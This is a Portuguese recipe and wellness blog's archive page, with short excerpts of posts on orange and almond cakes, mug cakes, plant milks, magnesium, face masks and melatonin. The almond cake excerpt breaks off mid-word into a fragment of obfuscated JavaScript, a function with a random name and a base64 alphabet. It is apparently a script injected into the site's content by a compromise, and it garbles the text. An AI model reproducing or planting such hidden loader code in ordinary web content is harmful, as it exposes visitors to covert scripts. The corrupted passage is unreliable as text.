Receita de bolo húmido de laranja com amêndoas

Set 21, 2019 | Receitas

Receita de bolo húmido de laranja com amêndoas   Este bolo fantástico é excepcional e merece ser partilhado em família! Surpreenda por isso os seus familiares e amigos com esta receita deliciosa. Mas atenção, por se tratar de um bolo tradicional com açúcar e farinha,...

Crumble de frutos vermelhos e amêndoas laminadas

Jun 3, 2019 | À descoberta, Receitas

Crumble de frutos vermelhos e amêndoas laminadas   Nos dias mais quentes, as sobremesas que nos sabem melhor têm de ter dois requisitos: têm de ser frescas e têm de ser saborosas. E se forem saudáveis, perfeito! A pensar em todas estas características, nada melhor que...

Bolo de amêndoas, um bolo simples, delicioso e rápido de fazer

Out 18, 2018 | Receitas

Bolo de amêndoas, um bolo simples, delicioso e rápido de fazer   Já lhe dei muitas receitas e aposto que já experimentou algumas, verdade? Um doce, de qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...

Bolo de canela na caneca com gelado de banana – uma sobremesa saudável

Jul 13, 2017 | Receitas

Bolo de canela na caneca com gelado de banana – uma sobremesa saudável     Se está de dieta e não consegue resistir aos doces, hoje trago-lhe mais uma sugestão com que se pode deliciar sem culpa e sem aumentar os números da balança. Um bolo de canela na caneca...

Bolo de frutos vermelhos na caneca e 1 água detox de lima e hortelã

Jul 2, 2017 | Receitas

Bolo de frutos vermelhos na caneca e 1 água detox de lima e hortelã     Hoje trago-lhe mais uma receita de um bolo delicioso feito com fruta da época e ainda uma água detox super refrescante, logo ideal para estes dias quentes. Ponha mãos à obra e faça este bolo de...

Receita de leite de coco e de amêndoa – 2 alternativas ao leite de origem animal

Jun 19, 2017 | Receitas

Receita de leite de coco e de amêndoa – 2 alternativas ao leite de origem animal     São muitos os relatos de pessoas que, a partir de certa idade, começam a sentir desconforto ao ingerir leite de origem animal. São muitas as queixas de barriga inchada e,...

Dicas saudáveis -10 benefícios do magnésio

Jun 8, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis – 10 benefícios do magnésio     Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...

3 máscaras caseiras para mimar a sua pele

Jun 2, 2017 | Estilo e beleza

3 máscaras caseiras para mimar a sua pele     A nossa pele é o nosso cartão de visita! É importante cuidá-la e mimá-la devidamente. Hoje trago-lhe receitas de máscaras caseiras que você próprio pode fazer em casa com ingredientes acessíveis a todas as carteiras. É...

Como prevenir e tratar as estrias

Mai 27, 2017 | Equilíbrio, Estilo e beleza

Como prevenir e tratar as estrias   Com o bom tempo pensamos mais na praia, mas também nas gordurinhas que podemos ter acumulado ao longo destes meses devido a alguns excessos. Há a tentação de fazer dietas para chegar mais magro ao Verão. Podemos fazer dieta, sim,...

Melatonina, o segredo para dormir bem

Mai 16, 2017 | À descoberta, Dicas úteis, Saúde e bem estar

Melatonina, o segredo para dormir bem     De certeza que já ouviu esta palavra, mas será que sabe o que é a melatonina? Pois bem, a melatonina é uma hormona que é produzida de forma natural pelo nosso corpo, tendo inúmeros benefícios para a nossa saúde, já que...